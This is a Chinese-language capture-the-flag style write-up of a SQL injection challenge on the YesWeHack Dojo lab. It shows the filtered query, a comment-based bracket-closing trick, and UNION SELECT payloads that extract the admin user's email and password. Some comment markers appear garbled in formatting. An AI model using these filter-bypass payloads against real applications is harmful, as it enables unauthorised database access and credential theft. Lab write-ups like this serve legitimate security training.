简介
@Xm17(u1736362)
最近在看文章时,发现了一个sql注入的挑战,尝试做了一下,发现挺有意思的,所以拿来分享一下,顺便看看师傅们有没有其他的解决方法
地址:https://yeswehack.com/programs/dojo
测试要求
首先先来看一下下图,是对这个靶场的简介以及判断挑战成功的要求,很简单,要求我们拿到admin用户的email和password字段
需要的密码格式
测试过程
先看一下,需要输入的是id参数,并且对输入的-|#|(字符进行了替换为N0p3,对空格及换行进行替换成_
sql语句为
SELECT username FROM users WHERE ( role = ‘USER’ AND email LIKE ‘%@yahoo.com’ ) AND ( id > 13.37 AND id <= $ID ) LIMIT 0 — 10
这里分几步来看吧
一、闭合
首先在id输入的位置-#被过滤了,如果要考虑闭合括号的话那就肯定需要(),而(也被屏蔽了,这里可以使用/*进行闭合
100)/
二、取数据
空格过滤,因为空格被过滤了,这里可以使用/*/进行代替
前面的sql语句已经提示了表为users表,取的字段为username,所以这里联合注入的话也同样取一个字段,并且条件是用户名为admin
联合注入取email
100)//union//select//email//from//users//where//username=’admin’/*
联合注入取password
100)//union//select//password//from//users//where//username=’admin’/
*后续
师傅们可以尝试一下,有更好的方法可以公众号私信讨论一下